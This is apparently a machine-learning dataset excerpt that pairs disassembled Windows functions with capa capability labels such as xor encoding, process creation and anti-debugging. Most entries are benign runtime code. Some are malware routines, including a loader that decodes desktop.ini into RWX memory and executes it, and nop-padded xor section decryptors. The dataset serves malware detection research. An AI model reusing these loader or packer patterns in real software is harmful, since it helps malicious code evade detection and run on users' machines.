joyce8/EMBER2024-capa huggingface dataset:
Function at 0x59f1e4
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
mov edi, ecx
mov ebx, edx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
call fcn.00404e34
xor eax, eax
push ebp
push 0x59f304
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.00404968
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
call fcn.00404e44
mov esi, eax
push esi
call sub.version.dll_GetFileVersionInfoSizeA
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jbe 0x59f2e1
mov eax, dword [ebp - 4]
call fcn.004027a0
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x59f2da
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 0x10]
push eax
push esi
call sub.version.dll_GetFileVersionInfoA
sub bl, 1
jb 0x59f275
je 0x59f290
dec bl
je 0x59f2ab
jmp 0x59f2c4
push ebp
lea edx, [ebp - 0x14]
mov eax, 0x59f31c
call fcn.0059f04c
pop ecx
mov edx, dword [ebp - 0x14]
mov eax, edi
call fcn.004049bc
jmp 0x59f2c4
push ebp
lea edx, [ebp - 0x18]
mov eax, 0x59f334
call fcn.0059f04c
pop ecx
mov edx, dword [ebp - 0x18]
mov eax, edi
call fcn.004049bc
jmp 0x59f2c4
push ebp
lea edx, [ebp - 0x1c]
mov eax, 0x59f34c
call fcn.0059f04c
pop ecx
mov edx, dword [ebp - 0x1c]
mov eax, edi
call fcn.004049bc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x59f2e1
mov eax, dword [ebp - 8]
call fcn.004027c0
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x59f30b
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.0040498c
lea eax, [ebp - 0xc]
call fcn.00404968
ret

Function at 0x59f358
Capabilities:
Check os version

Disassembly:
add esp, 0xffffff6c
mov dword [esp], 0x94
push esp
call sub.kernel32.dll_GetVersionExA
cmp dword [esp + 0x10], 1
je 0x59f37d
cmp dword [esp + 4], 5
jb 0x59f37d
xor eax, eax
jmp 0x59f37f
mov al, 1
add esp, 0x94
ret
Function at 0x59fbec
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov ecx, 5
push 0
push 0
dec ecx
jne 0x59fbf4
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x59fd83
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x105
call fcn.004027a0
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x59fd54
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x59fd43
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
push eax
push 0
push 0
push 0x801c
mov eax, dword [0x5cc204]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.SHFolder.dll_SHGetFolderPathA
not eax
test eax, eax
jne 0x59fc5d
call fcn.00410924
lea edx, [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.0040cfe4
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 8]
call fcn.004115a8
mov edx, dword [ebp - 8]
mov eax, 0xfd0ca8
call fcn.004049bc
mov eax, dword [0xfd0ca8]
call fcn.005a01f8
test al, al
jne 0x59fc93
call fcn.00410924
lea eax, [ebp - 0x20]
mov ecx, 0x59fd9c
mov edx, dword [0xfd0ca8]
call fcn.00404c98
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x1c]
call fcn.004115a8
lea eax, [ebp - 0x1c]
mov edx, 0x59fdb0
call fcn.00404c54
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x18]
call fcn.004115a8
push dword [ebp - 0x18]
push 0x59fdc8
lea edx, [ebp - 0x28]
mov eax, dword [0x5cc204]
mov eax, dword [eax]
call fcn.004cca30
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x24]
xor edx, edx
call fcn.0059f1e4
push dword [ebp - 0x24]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.00404d0c
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
call fcn.004115a8
mov edx, dword [ebp - 0x10]
mov eax, 0xfd0ca8
call fcn.004049bc
mov eax, dword [0xfd0ca8]
call fcn.005a01f8
test al, al
jne 0x59fd2d
mov eax, dword [0xfd0ca8]
call fcn.00535b34
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x59fd4a
mov eax, dword [ebp - 4]
call fcn.004027c0
ret

Function at 0x5a4a4c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
mov esi, eax
mov eax, dword [esi + 4]
mov eax, dword [eax + 8]
mov ebp, eax
dec edx
jne 0x5a4a7f
mov ebx, eax
dec ebx
test ebx, ebx
jl 0x5a4a7f
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [esi + 4]
call fcn.00420df8
mov al, byte [eax + 0x24]
xor al, 1
and eax, 0x7f
sub ebp, eax
inc edi
dec ebx
jne 0x5a4a67
mov eax, ebp
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x5a9380
Capabilities:
Create process on windows

Disassembly:
push ebx
mov ebx, eax
sub edx, 1
jb 0x5a9392
je 0x5a93ae
dec edx
je 0x5a93ca
dec edx
je 0x5a93e6
jmp 0x5a9400
push 1
push 0
push 0
push 0x5a9404
push 0
mov eax, ebx
call fcn.004b2308
push eax
call sub.shell32.dll_ShellExecuteA
pop ebx
ret
push 1
push 0
push 0
push 0x5a9420
push 0
mov eax, ebx
call fcn.004b2308
push eax
call sub.shell32.dll_ShellExecuteA
pop ebx
ret
push 1
push 0
push 0
push 0x5a9460
push 0
mov eax, ebx
call fcn.004b2308
push eax
call sub.shell32.dll_ShellExecuteA
pop ebx
ret
push 1
push 0
push 0
push 0x5a9478
push 0
mov eax, ebx
call fcn.004b2308
push eax
call sub.shell32.dll_ShellExecuteA
pop ebx
ret
Function at 0x5ddcc1
Capabilities:
Encode data using xor

Disassembly:
daa
lodsd eax, dword [esi]
sub al, 0xcb
leave
cmp dword [eax - 0x6cd98315], ebx
out 0x60, eax
nop
imul edx, edx, 0
jae 0x5ddd45
xlatb
and edx, dword [eax - 0x7617ad95]
mov edi, 0x602ccd14
mov esi, 0x9132b0bf
sub dl, byte [eax + 0x10c9cbb6]
mov edi, 0x39be659c
sbb ah, byte [eax - 0x1a]

Function at 0x5dde64
Capabilities:
Encode data using xor

Disassembly:
mov dh, 0xcb
leave
adc byte [edi + 0x6b], cl
sub dword [eax + 0xce7326b], edx
aas
mov ecx, 0x526b22bf
nop
sub al, bl
invalid

Function at 0x5deea5
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
pushal
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x14]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x5def94
mov ecx, eax
mov ebx, dword [ecx + 0x3c]
add ecx, ebx
mov ecx, dword [ecx + 0x7c]
test ecx, ecx
je 0x5def94
mov dword [ebp - 4], ecx
mov ebx, eax
mov ecx, dword [ebx + 0x3c]
add ebx, ecx
mov ebx, dword [ebx + 0x78]
add ebx, eax
mov dword [ebp - 8], ebx
mov eax, dword [ebp + 0xc]
test eax, 0xffff0000
je 0x5def40
mov ecx, dword [ebx + 0x18]
test ecx, ecx
je 0x5def94
dec ecx
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x20]
add eax, dword [ebp - 0xc]
push ecx
shl ecx, 2
add eax, ecx
mov eax, dword [eax]
add eax, dword [ebp - 0xc]
push edi
push dword [ebp + 0xc]
push eax
call dword [edi + 0x124a2ed6]
pop edi
pop ecx
test eax, eax
jne 0x5deef9
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x24]
add eax, dword [ebp - 0xc]
shl ecx, 1
add eax, ecx
movzx ecx, word [eax]
jmp 0x5def46
mov ecx, dword [ebp + 0xc]
sub ecx, dword [ebx + 0x10]
mov ebx, dword [ebp - 8]
mov eax, dword [ebx + 0x14]
cmp ecx, eax
jge 0x5def94
mov eax, dword [ebp - 0xc]
mov edx, dword [ebx + 0x1c]
add edx, eax
shl ecx, 2
add edx, ecx
cmp dword [edx], 0
je 0x5def94
mov ebx, dword [edx]
add eax, ebx
mov dword [ebp - 0x10], eax
cmp eax, dword [ebp - 8]
jle 0x5def94
sub eax, dword [ebp - 8]
cmp eax, dword [ebp - 4]
jge 0x5def94
push dword [ebp - 0x10]
push dword [ebp + 8]
call fcn.005dedee
mov dword [ebp - 0x10], eax
popal
mov eax, dword [ebp - 0x10]
leave
ret 8

Function at 0x432000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x59096db2
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x432024
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
mov ecx, 0xf8c201d
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x407d9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407e75
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407dd4
mov eax, dword [ebp - 4]
call fcn.004071d0
jmp 0x407ddc
mov eax, dword [ebp - 4]
call fcn.00407bd4
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407e28
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407e12
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.004071d0
jmp 0x407e24
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407bd4
inc ebx
dec esi
jne 0x407dec
push 1
push dword [ebp - 4]
push 0x407e8c
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f34
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e7c
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x82ef39
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0xc821e0
jmp 0xc8229a
push ebx
mov dword [esp], eax
push esi
push 0x4676c346
pop esi
mov dword [esp + 4], esi
pop esi
mov dword [esp], ebp
jmp 0xc82312
jmp 0xca6d38
jmp fcn.00ca6d9f
Function at 0x4151e1
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x41c108
call fcn.0041599a
push 1
call fcn.00415264
pop ecx
test al, al
jne 0x415098
push 7
call fcn.00415762
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.0041522f
mov byte [ebp - 0x24], al
mov eax, dword [0x41fc3c]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x415091
test eax, eax
jne 0x415102
mov dword [0x41fc3c], ecx
push 0x418358
push 0x418344
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x4150e5
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x4151db
push 0x418340
push 0x418318
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
pop ecx
pop ecx
mov dword [0x41fc3c], 2
jmp 0x415107
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.004153d1
pop ecx
call fcn.00415756
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x415137
push esi
call fcn.00415347
pop ecx
test al, al
je 0x415137
push edi
push 2
push edi
mov esi, dword [esi]
mov ecx, esi
call fcn.004156eb
call esi
call fcn.0041575c
mov esi, eax
cmp dword [esi], edi
je 0x415155
push esi
call fcn.00415347
pop ecx
test al, al
je 0x415155
push dword [esi]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
pop ecx
call fcn.00415878
movzx eax, ax
push eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_narrow_winmain_command_line
push eax
push edi
push 0x400000
call main
mov esi, eax
call fcn.004158ab
test al, al
jne 0x415180
push esi
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
test bl, bl
jne 0x415189
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
push edi
push 1
call fcn.004153ee
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x4151db
call fcn.004159df
ret
call fcn.00414f1f
jmp 0x415079

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x994cdc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x994d03
call fcn.00937288
mov dword [eax], esi
call fcn.00937275
push 0x16
pop esi
mov dword [eax], esi
call fcn.00937eca
mov eax, esi
jmp 0x994d58
test dword [ebp + 0xc], 0xfffffff9
jne 0x994ce9
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x994d30
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0093729b
pop ecx
call fcn.00937275
mov eax, dword [eax]
jmp 0x994d58
test al, 0x10
jne 0x994d56
test al, 1
je 0x994d56
test byte [ebp + 0xc], 2
je 0x994d56
call fcn.00937288
mov dword [eax], 5
call fcn.00937275
mov dword [eax], 0xd
jmp 0x994d27
xor eax, eax
pop esi
pop ebp
ret

Function at 0x7d8058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.007d81a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x7d807e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x7d806a
add dl, dl
jne 0x7d8089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x7d80dc
xor eax, eax
add dl, dl
jne 0x7d8096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x7d817d
add dl, dl
jne 0x7d80a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x7d80b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x7d80bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x7d80c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x7d80d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x7d8075
mov eax, 1
add dl, dl
jne 0x7d80ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x7d80f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x7d80e1
sub eax, ebx
mov ebx, 1
jne 0x7d8128
mov ecx, 1
add dl, dl
jne 0x7d810e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x7d8119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x7d8105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x7d8075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x7d813f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x7d814a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x7d8136
cmp eax, 0x7d00
jae 0x7d816d
cmp eax, 0x500
jb 0x7d8168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x7d8075
cmp eax, 0x7f
ja 0x7d8170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x7d8075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x7d819e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x7d8075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x7b8165b5
nop
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x42e024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, 0x71811401
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219

Function at 0x501d80
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x502360
push 0x501f80
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffff98
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push 2
call dword [sym.imp.MSVCRT.dll___set_app_type]
add esp, 4
mov dword [0x5033f4], 0xffffffff
mov dword [0x5033f8], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x5033f0]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov edx, dword [0x5033ec]
mov dword [eax], edx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov ecx, dword [eax]
mov dword [0x5033fc], ecx
call fcn.00501f70
mov eax, dword [0x503128]
test eax, eax
jne 0x501e11
push 0x501f60
call dword [sym.imp.MSVCRT.dll___setusermatherr]
add esp, 4
call fcn.00501f40
push 0x50300c
push 0x503008
call sub.MSVCRT.dll__initterm
add esp, 8
mov edx, dword [0x5033e8]
mov dword [ebp - 0x6c], edx
lea eax, [ebp - 0x6c]
push eax
mov ecx, dword [0x5033e4]
push ecx
lea edx, [ebp - 0x64]
push edx
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x60]
push ecx
call dword [sym.imp.MSVCRT.dll___getmainargs]
add esp, 0x14
push 0x503004
push section..data
call sub.MSVCRT.dll__initterm
add esp, 8
call dword [sym.imp.MSVCRT.dll___p__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x74], esi
cmp byte [esi], 0x22
jne 0x501f1f
inc esi
mov dword [ebp - 0x74], esi
mov al, byte [esi]
test al, al
je 0x501e85
cmp al, 0x22
jne 0x501e77
cmp byte [esi], 0x22
jne 0x501e8e
inc esi
mov dword [ebp - 0x74], esi
mov al, byte [esi]
test al, al
je 0x501e9e
cmp al, 0x20
ja 0x501e9e
inc esi
mov dword [ebp - 0x74], esi
jmp 0x501e8e
mov dword [ebp - 0x30], 0
lea edx, [ebp - 0x5c]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x30], 1
je 0x501ebf
mov eax, dword [ebp - 0x2c]
and eax, 0xffff
jmp 0x501ec4
mov eax, 0xa
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov dword [ebp - 0x68], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
jmp 0x501f04
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp byte [esi], 0x20
jbe 0x501e8e
inc esi
mov dword [ebp - 0x74], esi
jmp 0x501f1f
Function at 0x4011e0
Capabilities:
Read .ini file

Disassembly:
mov eax, dword [str._ISMSIDEL.INI]
sub esp, 0xc00
lea edx, [esp]
push ebx
mov ebx, ecx
push edi
push eax
mov ecx, dword [ebx + 4]
push ecx
push edx
call fcn.00405dd0
lea eax, [esp + 8]
push eax
call fcn.00405f50
test eax, eax
jne 0x40121a
pop edi
mov eax, 1
pop ebx
add esp, 0xc00
ret
cmp dword [ebx + 0xc], 0x1f4
jb 0x401231
pop edi
mov eax, 1
pop ebx
add esp, 0xc00
ret
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x408]
lea edx, [esp + 8]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x408]
push ecx
push edx
mov ecx, ebx
call fcn.00401570
test eax, eax
jne 0x401282
lea eax, [esp + 8]
push eax
call fcn.00406000
test eax, eax
je 0x401282
mov ecx, dword [ebx + 4]
push ecx
call fcn.00405fb0
test eax, eax
je 0x401282
pop edi
mov eax, 1
pop ebx
add esp, 0xc00
ret
mov al, byte [esp + 0x408]
push esi
test al, al
lea esi, [esp + 0x40c]
je 0x4012f7
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [str.NO_KEY_VALUE]
lea edx, [esp + 0x10]
push edx
mov edx, dword [str.Files]
lea eax, [esp + 0x814]
push 0x400
push eax
push ecx
push esi
push edx
call ebp
lea eax, [esp + 0x810]
push eax
call fcn.00406000
test eax, eax
je 0x4012e7
push 0
lea ecx, [esp + 0x14]
push esi
push ecx
mov ecx, ebx
call fcn.004015b0
jmp 0x4012ea
inc dword [ebx + 0xc]
push esi
call edi
lea esi, [esi + eax + 1]
cmp byte [esi], 0
jne 0x4012a2
pop ebp
pop esi
pop edi
xor eax, eax
pop ebx
add esp, 0xc00
ret

Function at 0x401570
Capabilities:
Read .ini file

Disassembly:
mov eax, dword [esp + 4]
mov ecx, dword [str.Files]
push esi
mov esi, dword [esp + 0xc]
push eax
push 0x400
push esi
push 0x40fcc0
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
neg eax
sbb eax, eax
pop esi
neg eax
ret 8
Function at 0x401630
Capabilities:
Get common file path

Disassembly:
sub esp, 0x800
push ebx
push esi
push edi
mov ebx, ecx
call fcn.00401060
mov esi, eax
mov ecx, esi
call fcn.00404440
push 1
mov ecx, esi
mov edi, eax
call fcn.00404410
mov ecx, edi
call fcn.00404fd0
test ax, ax
jne 0x4016ab
push 2
mov ecx, esi
call fcn.00404410
mov ecx, esi
call fcn.00404400
push eax
mov ecx, esi
call fcn.00404370
mov ecx, ebx
call fcn.00401870
test eax, eax
jne 0x401773
push eax
push 0x481
mov dword [0x41072c], 0x481
call fcn.00405660
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 0x800
ret
mov ecx, edi
call fcn.00405010
push eax
mov ecx, esi
call fcn.004043b0
lea eax, [esp + 0x40c]
push 0x400
push eax
mov ecx, ebx
call fcn.00401790
test eax, eax
jne 0x401700
mov ecx, esi
mov dword [0x41072c], 0x47f
call fcn.004043c0
shr eax, 0xa
push eax
push 0x47f
call fcn.00405660
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 0x800
ret
lea ecx, [esp + 0xc]
lea edx, [esp + 0x40c]
push ecx
push 0
push 0x40f0f0
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [esp + 0xc]
push eax
call fcn.00406000
lea ecx, [esp + 0xc]
push 0x2e
push ecx
call fcn.00406bb0
add esp, 8
lea edx, [esp + 0xc]
mov byte [eax], 0
push edx
call fcn.00405f80
test eax, eax
jne 0x40174e
lea eax, [esp + 0xc]
push eax
call fcn.00405eb0
lea ecx, [esp + 0xc]
push ecx
mov ecx, esi
call fcn.00404370
mov ecx, esi
call fcn.00404a50
test eax, eax
jne 0x401678
pop edi
pop esi
pop ebx
add esp, 0x800
ret
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x800
ret

Function at 0x401790
Capabilities:
Get common file path

Disassembly:
push ebx
push ebp
push esi
push edi
mov ebx, ecx
call fcn.00401060
mov ecx, eax
call fcn.004043c0
mov edi, dword [esp + 0x14]
mov ebp, dword [esp + 0x18]
mov esi, eax
push edi
push ebp
shr esi, 0xa
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x4017d3
push 0x8003
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push esi
push edi
mov ecx, ebx
call fcn.00401830
test eax, eax
jne 0x401821
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
jle 0x4017ec
push esi
push edi
mov ecx, ebx
call fcn.00401830
test eax, eax
jne 0x401821
push 0x40fcc0
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push edi
push esi
push 3
call fcn.00405c90
add esp, 0xc
test eax, eax
jge 0x401821
push edi
push esi
push 4
call fcn.00405c90
add esp, 0xc
test eax, eax
jge 0x401821
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret 8